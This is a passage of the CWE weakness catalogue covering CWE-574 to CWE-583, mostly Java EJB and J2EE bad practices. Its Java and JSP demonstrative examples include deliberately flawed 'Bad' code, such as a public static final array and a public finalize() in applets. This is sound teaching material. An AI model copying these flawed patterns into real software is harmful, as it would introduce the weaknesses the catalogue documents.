The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1444
ParentOf	V	103	Struts: Incomplete validate() Method Definition	240
ParentOf	V	104	Struts: Form Bean Does Not Extend Validation Class	243
ParentOf	V	243	Creation of chroot Jail Without Changing Working Directory	559
ParentOf	B	253	Incorrect Check of Function Return Value	582
ParentOf	B	296	Improper Following of a Certificate's Chain of Trust	682
ParentOf	B	304	Missing Critical Step in Authentication	700
ParentOf	B	325	Missing Cryptographic Step	754
ParentOf	V	329	Generation of Predictable IV with CBC Mode	769



Nature	Type	ID	Name	Page
ParentOf	B	358	Improperly Implemented Security Check for Standard	834
ParentOf	B	475	Undefined Behavior for Input to API	1069
ParentOf	V	568	finalize() Method Without super.finalize()	1215
ParentOf	V	577	EJB Bad Practices: Use of Sockets	1229
ParentOf	V	578	EJB Bad Practices: Use of Class Loader	1231
ParentOf	V	579	J2EE Bad Practices: Non-serializable Object Stored in Session	1233
ParentOf	V	580	clone() Method Without super.clone()	1234
ParentOf	B	581	Object Model Violation: Just One of Equals and Hashcode Defined	1236
ParentOf	B	628	Function Call with Incorrectly Specified Arguments	1316
ParentOf	C	675	Multiple Operations on Resource in Single-Operation Context	1393
ParentOf	B	694	Use of Multiple Resources with Duplicate Identifier	1424
ParentOf	B	695	Use of Low-Level Functionality	1425

### Weakness Ordinalities

Primary :

### Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

### Observed Examples

Reference	Description
<b>CVE-2006-7140</b>	Crypto implementation removes padding when it shouldn't, allowing forged signatures <a href="https://www.cve.org/CVERecord?id=CVE-2006-7140">https://www.cve.org/CVERecord?id=CVE-2006-7140</a>
<b>CVE-2006-4339</b>	Crypto implementation removes padding when it shouldn't, allowing forged signatures <a href="https://www.cve.org/CVERecord?id=CVE-2006-4339">https://www.cve.org/CVERecord?id=CVE-2006-4339</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	850	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)	844	2158
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2213
MemberOf	C	1140	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)	1133	2240

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MET10-J		Follow the general contract when implementing the compareTo() method

## CWE-574: EJB Bad Practices: Use of Synchronization Primitives

**Weakness ID** : 574

**Structure** : Simple

**Abstraction** : Variant

### Description

The product violates the Enterprise JavaBeans (EJB) specification by using thread synchronization primitives.


### Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the product violates the following EJB guideline: "An enterprise bean must not use thread synchronization primitives to synchronize execution of multiple instances." The specification justifies this requirement in the following way: "This rule is required to ensure consistent runtime semantics because while some EJB containers may use a single JVM to execute all enterprise bean's instances, others may distribute the instances across multiple JVMs."

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		695	Use of Low-Level Functionality	1425
ChildOf		821	Incorrect Synchronization	1603

### Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

### Potential Mitigations

#### Phase: Implementation

Do not use Synchronization Primitives when writing EJBs.

### Demonstrative Examples

#### Example 1:

In the following Java example a Customer Entity EJB provides access to customer information in a database for a business application.

*Example Language: Java*

*(Bad)*

```
@Entity
public class Customer implements Serializable {
    private String id;
    private String firstName;
    private String lastName;
    private Address address;
    public Customer() {...}
    public Customer(String id, String firstName, String lastName) {...}
    @Id
    public String getCustomerId() {...}
```

```

public synchronized void setCustomerId(String id) {...}
public String getFirstName() {...}
public synchronized void setFirstName(String firstName) {...}
public String getLastName() {...}
public synchronized void setLastName(String lastName) {...}
@OneToOne()
public Address getAddress() {...}
public synchronized void setAddress(Address address) {...}
}

```

However, the customer entity EJB uses the synchronized keyword for the set methods to attempt to provide thread safe synchronization for the member variables. The use of synchronized methods violate the restriction of the EJB specification against the use synchronization primitives within EJBs. Using synchronization primitives may cause inconsistent behavior of the EJB when used within different EJB containers.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		1001	SFP Secondary Cluster: Use of an Improper API	888	2213

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP3		Use of an improper API

## CWE-575: EJB Bad Practices: Use of AWT Swing

**Weakness ID :** 575

**Structure :** Simple

**Abstraction :** Variant

### Description

The product violates the Enterprise JavaBeans (EJB) specification by using AWT/Swing.

### Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the product violates the following EJB guideline: "An enterprise bean must not use the AWT functionality to attempt to output information to a display, or to input information from a keyboard." The specification justifies this requirement in the following way: "Most servers do not allow direct interaction between an application program and a keyboard/display attached to the server system."

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		695	Use of Low-Level Functionality	1425

### Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

### Potential Mitigations

#### Phase: Architecture and Design

Do not use AWT/Swing when writing EJBs.

### Demonstrative Examples

#### Example 1:

The following Java example is a simple converter class for converting US dollars to Yen. This converter class demonstrates the improper practice of using a stateless session Enterprise JavaBean that implements an AWT Component and AWT keyboard event listener to retrieve keyboard input from the user for the amount of the US dollars to convert to Yen.

*Example Language: Java*

*(Bad)*

```
@Stateless
public class ConverterSessionBean extends Component implements KeyListener, ConverterSessionRemote {
    /* member variables for receiving keyboard input using AWT API */
    ...
    private StringBuffer enteredText = new StringBuffer();
    /* conversion rate on US dollars to Yen */
    private BigDecimal yenRate = new BigDecimal("115.3100");
    public ConverterSessionBean() {
        super();
        /* method calls for setting up AWT Component for receiving keyboard input */
        ...
        addKeyListener(this);
    }
    public BigDecimal dollarToYen(BigDecimal dollars) {
        BigDecimal result = dollars.multiply(yenRate);
        return result.setScale(2, BigDecimal.ROUND_DOWN);
    }
    /* member functions for implementing AWT KeyListener interface */
    public void keyTyped(KeyEvent event) {
        ...
    }
    public void keyPressed(KeyEvent e) {
    }
    public void keyReleased(KeyEvent e) {
    }
    /* member functions for receiving keyboard input and displaying output */
    public void paint(Graphics g) {...}
    ...
}
```

This use of the AWT and Swing APIs within any kind of Enterprise JavaBean not only violates the restriction of the EJB specification against using AWT or Swing within an EJB but also violates the intended use of Enterprise JavaBeans to separate business logic from presentation logic.

The Stateless Session Enterprise JavaBean should contain only business logic. Presentation logic should be provided by some other mechanism such as Servlets or Java Server Pages (JSP) as in the following Java/JSP example.

*Example Language: Java*

*(Good)*

```
@Stateless
public class ConverterSessionBean implements ConverterSessionRemoteInterface {
    /* conversion rate on US dollars to Yen */
```

```

private BigDecimal yenRate = new BigDecimal("115.3100");
public ConverterSessionBean() {
}
/* remote method to convert US dollars to Yen */
public BigDecimal dollarToYen(BigDecimal dollars) {
    BigDecimal result = dollars.multiply(yenRate);
    return result.setScale(2, BigDecimal.ROUND_DOWN);
}
}

```

Example Language: JSP

(Good)

```

<%@ page import="converter.ejb.Converter, java.math.*, javax.naming.*"%>
<%!
private Converter converter = null;
public void jspInit() {
    try {
        InitialContext ic = new InitialContext();
        converter = (Converter) ic.lookup(Converter.class.getName());
    } catch (Exception ex) {
        System.out.println("Couldn't create converter bean." + ex.getMessage());
    }
}
public void jspDestroy() {
    converter = null;
}
%>
<html>
<head><title>Converter</title></head>
<body bgcolor="white">
<h1>Converter</h1>
<hr>
<p>Enter an amount to convert:</p>
<form method="get">
<input type="text" name="amount" size="25"><br>
<p>
<input type="submit" value="Submit">
<input type="reset" value="Reset">
</form>
<%
String amount = request.getParameter("amount");
if ( amount != null && amount.length() > 0 ) {
    BigDecimal d = new BigDecimal(amount);
    BigDecimal yenAmount = converter.dollarToYen(d);
%>
<p>
<%= amount %> dollars are <%= yenAmount %> Yen.
<p>
<%
}
%>
</body>
</html>

```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	1001	SFP Secondary Cluster: Use of an Improper API	888	2213

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP3		Use of an improper API

## CWE-576: EJB Bad Practices: Use of Java I/O

**Weakness ID** : 576

**Structure** : Simple

**Abstraction** : Variant

### Description

The product violates the Enterprise JavaBeans (EJB) specification by using the java.io package.

### Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the product violates the following EJB guideline: "An enterprise bean must not use the java.io package to attempt to access files and directories in the file system." The specification justifies this requirement in the following way: "The file system APIs are not well-suited for business components to access data. Business components should use a resource manager API, such as JDBC, to store data."

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		695	Use of Low-Level Functionality	1425

### Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

### Potential Mitigations

#### Phase: Implementation

Do not use Java I/O when writing EJBs.

### Demonstrative Examples

#### Example 1:

The following Java example is a simple stateless Enterprise JavaBean that retrieves the interest rate for the number of points for a mortgage. In this example, the interest rates for various points are retrieved from an XML document on the local file system, and the EJB uses the Java I/O API to retrieve the XML document from the local file system.

*Example Language: Java*

*(Bad)*

```
@Stateless
public class InterestRateBean implements InterestRateRemote {
    private Document interestRateXMLDocument = null;
    private File interestRateFile = null;
    public InterestRateBean() {
```

```

try {
    /* get XML document from the local filesystem */
    interestRateFile = new File(Constants.INTEREST_RATE_FILE);
    if (interestRateFile.exists())
    {
        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        DocumentBuilder db = dbf.newDocumentBuilder();
        interestRateXMLDocument = db.parse(interestRateFile);
    }
} catch (IOException ex) {...}
}
public BigDecimal getInterestRate(Integer points) {
    return getInterestRateFromXML(points);
}
/* member function to retrieve interest rate from XML document on the local file system */
private BigDecimal getInterestRateFromXML(Integer points) {...}
}

```

This use of the Java I/O API within any kind of Enterprise JavaBean violates the EJB specification by using the java.io package for accessing files within the local filesystem.

An Enterprise JavaBean should use a resource manager API for storing and accessing data. In the following example, the private member function `getInterestRateFromXMLParser` uses an XML parser API to retrieve the interest rates.

Example Language: Java

(Good)

```

@Stateless
public class InterestRateBean implements InterestRateRemote {
    public InterestRateBean() {
    }
    public BigDecimal getInterestRate(Integer points) {
        return getInterestRateFromXMLParser(points);
    }
    /* member function to retrieve interest rate from XML document using an XML parser API */
    private BigDecimal getInterestRateFromXMLParser(Integer points) {...}
}

```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	1001	SFP Secondary Cluster: Use of an Improper API	888	2213

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP3		Use of an improper API

## CWE-577: EJB Bad Practices: Use of Sockets

Weakness ID : 577

Structure : Simple

Abstraction : Variant

### Description

The product violates the Enterprise JavaBeans (EJB) specification by using sockets.

### Extended Description



The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the product violates the following EJB guideline: "An enterprise bean must not attempt to listen on a socket, accept connections on a socket, or use a socket for multicast." The specification justifies this requirement in the following way: "The EJB architecture allows an enterprise bean instance to be a network socket client, but it does not allow it to be a network server. Allowing the instance to become a network server would conflict with the basic function of the enterprise bean-- to serve the EJB clients."

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		573	Improper Following of Specification by Caller	1222

## Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

## Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

Do not use Sockets when writing EJBs.

## Demonstrative Examples

### Example 1:

The following Java example is a simple stateless Enterprise JavaBean that retrieves stock symbols and stock values. The Enterprise JavaBean creates a socket and listens for and accepts connections from clients on the socket.

*Example Language: Java*

*(Bad)*

```
@Stateless
public class StockSymbolBean implements StockSymbolRemote {
    ServerSocket serverSocket = null;
    Socket clientSocket = null;
    public StockSymbolBean() {
        try {
            serverSocket = new ServerSocket(Constants.SOCKET_PORT);
        } catch (IOException ex) {...}
        try {
            clientSocket = serverSocket.accept();
        } catch (IOException e) {...}
    }
    public String getStockSymbol(String name) {...}
    public BigDecimal getStockValue(String symbol) {...}
    private void processClientInputFromSocket() {...}
}
```

And the following Java example is similar to the previous example but demonstrates the use of multicast socket connections within an Enterprise JavaBean.

Example Language: Java

(Bad)

```

@Stateless
public class StockSymbolBean extends Thread implements StockSymbolRemote {
    ServerSocket serverSocket = null;
    Socket clientSocket = null;
    boolean listening = false;
    public StockSymbolBean() {
        try {
            serverSocket = new ServerSocket(Constants.SOCKET_PORT);
        } catch (IOException ex) {...}
        listening = true;
        while(listening) {
            start();
        }
    }
    public String getStockSymbol(String name) {...}
    public BigDecimal getStockValue(String symbol) {...}
    public void run() {
        try {
            clientSocket = serverSocket.accept();
        } catch (IOException e) {...}
        ...
    }
}

```

The previous two examples within any type of Enterprise JavaBean violate the EJB specification by attempting to listen on a socket, accepting connections on a socket, or using a socket for multicast.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1001	SFP Secondary Cluster: Use of an Improper API	888	2213

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP3		Use of an improper API

## CWE-578: EJB Bad Practices: Use of Class Loader

**Weakness ID** : 578

**Structure** : Simple

**Abstraction** : Variant

### Description

The product violates the Enterprise JavaBeans (EJB) specification by using the class loader.


### Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the product violates the following EJB guideline: "The enterprise bean must not attempt to create a class loader; obtain the current class loader; set the context class loader; set security manager; create a new security manager; stop the JVM; or change the input, output, and error streams." The specification justifies this requirement in the following way: "These functions are reserved for the EJB container. Allowing the enterprise bean to use these functions could compromise security and decrease the container's ability to properly manage the runtime environment."

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		573	Improper Following of Specification by Caller	1222

## Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Execute Unauthorized Code or Commands	
Integrity	Varies by Context	
Availability		
Other		

## Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

Do not use the Class Loader when writing EJBs.

## Demonstrative Examples

### Example 1:

The following Java example is a simple stateless Enterprise JavaBean that retrieves the interest rate for the number of points for a mortgage. The interest rates for various points are retrieved from an XML document on the local file system, and the EJB uses the Class Loader for the EJB class to obtain the XML document from the local file system as an input stream.

*Example Language: Java*

*(Bad)*

```
@Stateless
public class InterestRateBean implements InterestRateRemote {
    private Document interestRateXMLDocument = null;
    public InterestRateBean() {
        try {
            // get XML document from the local filesystem as an input stream
            // using the ClassLoader for this class
            ClassLoader loader = this.getClass().getClassLoader();
            InputStream in = loader.getResourceAsStream(Constants.INTEREST_RATE_FILE);
            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
            DocumentBuilder db = dbf.newDocumentBuilder();
            interestRateXMLDocument = db.parse(interestRateFile);
        } catch (IOException ex) {...}
    }
    public BigDecimal getInterestRate(Integer points) {
        return getInterestRateFromXML(points);
    }
    /* member function to retrieve interest rate from XML document on the local file system */
    private BigDecimal getInterestRateFromXML(Integer points) {...}
}
```

This use of the Java Class Loader class within any kind of Enterprise JavaBean violates the restriction of the EJB specification against obtaining the current class loader as this could compromise the security of the application using the EJB.

**Example 2:**

An EJB is also restricted from creating a custom class loader and creating a class and instance of a class from the class loader, as shown in the following example.

Example Language: Java

(Bad)

```
@Stateless
public class LoaderSessionBean implements LoaderSessionRemote {
    public LoaderSessionBean() {
        try {
            ClassLoader loader = new CustomClassLoader();
            Class c = loader.loadClass("someClass");
            Object obj = c.newInstance();
            /* perform some task that uses the new class instance member variables or functions */
            ...
        } catch (Exception ex) {...}
    }
    public class CustomClassLoader extends ClassLoader {
    }
}
```

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	1001	SFP Secondary Cluster: Use of an Improper API	888	2213

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP3		Use of an improper API

**CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session**

**Weakness ID :** 579

**Structure :** Simple

**Abstraction :** Variant

**Description**

The product stores a non-serializable object as an HttpSession attribute, which can hurt reliability.

**Extended Description**

A J2EE application can make use of multiple JVMs in order to improve application reliability and performance. In order to make the multiple JVMs appear as a single application to the end user, the J2EE container can replicate an HttpSession object across multiple JVMs so that if one JVM becomes unavailable another can step in and take its place without disrupting the flow of the application. This is only possible if all session data is serializable, allowing the session to be duplicated between the JVMs.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		573	Improper Following of Specification by Caller	1222

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1018	Manage User Sessions	2225

### Applicable Platforms

**Language** : Java (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

### Potential Mitigations

#### Phase: Implementation

In order for session replication to work, the values the product stores as attributes in the session must implement the Serializable interface.

### Demonstrative Examples

#### Example 1:

The following class adds itself to the session, but because it is not serializable, the session can no longer be replicated.

*Example Language: Java*

*(Bad)*

```
public class DataGlob {
    String globName;
    String globValue;
    public void addToSession(HttpSession session) {
        session.setAttribute("glob", this);
    }
}
```

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		998	SFP Secondary Cluster: Glitch in Computation	888	2212
MemberOf		1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP1		Glitch in computation

## CWE-580: clone() Method Without super.clone()

**Weakness ID** : 580

**Structure** : Simple

**Abstraction** : Variant

### Description

The product contains a clone() method that does not call super.clone() to obtain the new object.



### Extended Description

All implementations of clone() should obtain the new object by calling super.clone(). If a class does not follow this convention, a subclass's clone() method will return an object of the wrong type.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		573	Improper Following of Specification by Caller	1222
ChildOf		664	Improper Control of a Resource Through its Lifetime	1367

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		265	Privilege Issues	2109

### Applicable Platforms

**Language :** Java (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	
Other	Quality Degradation	

### Potential Mitigations

#### Phase: Implementation

Call super.clone() within your clone() method, when obtaining a new object.

#### Phase: Implementation

In some cases, you can eliminate the clone method altogether and use copy constructors.

### Demonstrative Examples

#### Example 1:

The following two classes demonstrate a bug introduced by not calling super.clone(). Because of the way Kibitzer implements clone(), FancyKibitzer's clone method will return an object of type Kibitzer instead of FancyKibitzer.

*Example Language: Java*

*(Bad)*

```
public class Kibitzer {
    public Object clone() throws CloneNotSupportedException {
        Object returnMe = new Kibitzer();
        ...
    }
}
public class FancyKibitzer extends Kibitzer{
    public Object clone() throws CloneNotSupportedException {
        Object returnMe = super.clone();
        ...
    }
}
```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		1002	SFP Secondary Cluster: Unexpected Entry Points	888	2214

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP28		Unexpected access points

## CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined

**Weakness ID :** 581

**Structure :** Simple

**Abstraction :** Base

### Description

The product does not maintain equal hashcodes for equal objects.

### Extended Description

Java objects are expected to obey a number of invariants related to equality. One of these invariants is that equal objects must have equal hashcodes. In other words, if `a.equals(b) == true` then `a.hashCode() == b.hashCode()`.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		697	Incorrect Comparison	1428
ChildOf		573	Improper Following of Specification by Caller	1222

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

### Applicable Platforms

**Language :** Java (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Other	
Other	<p><i>If this invariant is not upheld, it is likely to cause trouble if objects of this class are stored in a collection. If the objects of the class in question are used as a key in a Hashtable or if they are inserted into a Map or Set, it is critical that equal objects have equal hashcodes.</i></p>	

### Potential Mitigations

**Phase:** Implementation



Both Equals() and Hashcode() should be defined.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	850	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)	844	2158
MemberOf	<b>C</b>	977	SFP Secondary Cluster: Design	888	2200
MemberOf	<b>C</b>	1140	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)	1133	2240

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MET09-J		Classes that define an equals() method must also define a hashCode() method

## CWE-582: Array Declared Public, Final, and Static

**Weakness ID** : 582

**Structure** : Simple

**Abstraction** : Variant

### Description

The product declares an array public, final, and static, which is not sufficient to prevent the array's contents from being modified.

### Extended Description

Because arrays are mutable objects, the final constraint requires that the array object itself be assigned only once, but makes no guarantees about the values of the array elements. Since the array is public, a malicious program can change the values stored in the array. As such, in most cases an array declared public, final and static is a bug.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	<b>C</b>	668	Exposure of Resource to Wrong Sphere	1380

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : Java (Prevalence = Undetermined)

### Background Details

Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest

environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your product is running.

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	

### Potential Mitigations

#### Phase: Implementation

In most situations the array should be made private.

### Demonstrative Examples

#### Example 1:

The following Java Applet code mistakenly declares an array public, final and static.

*Example Language: Java*

*(Bad)*

```
public final class urlTool extends Applet {
    public final static URL[] urls;
    ...
}
```

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	844	2157
MemberOf	<b>C</b>	1002	SFP Secondary Cluster: Unexpected Entry Points	888	2214

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ10-J		Do not use public static nonfinal variables
Software Fault Patterns	SFP28		Unexpected Access Points

## CWE-583: finalize() Method Declared Public

**Weakness ID** : 583

**Structure** : Simple

**Abstraction** : Variant

### Description

The product violates secure coding principles for mobile code by declaring a finalize() method public.

### Extended Description

A product should never call finalize explicitly, except to call super.finalize() inside an implementation of finalize(). In mobile code situations, the otherwise error prone practice of manual

garbage collection can become a security threat if an attacker can maliciously invoke a finalize() method because it is declared with public access.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1380

## Applicable Platforms

**Language** : Java (Prevalence = Undetermined)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Alter Execution Logic	
Integrity	Execute Unauthorized Code or Commands	
Availability	Modify Application Data	

## Potential Mitigations

### Phase: Implementation

If you are using finalize() as it was designed, there is no reason to declare finalize() with anything other than protected access.

## Demonstrative Examples

### Example 1:

The following Java Applet code mistakenly declares a public finalize() method.

*Example Language: Java*

*(Bad)*

```
public final class urlTool extends Applet {
    public void finalize() {
        ...
    }
    ...
}
```

Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your product is running.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		850	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)	844	2158

Nature	Type	ID	Name	V	Page
MemberOf		1002	SFP Secondary Cluster: Unexpected Entry Points	888	2214
MemberOf		1140	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)	1133	2240

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MET12-J		Do not use finalizers
Software Fault Patterns	SFP28		Unexpected access points

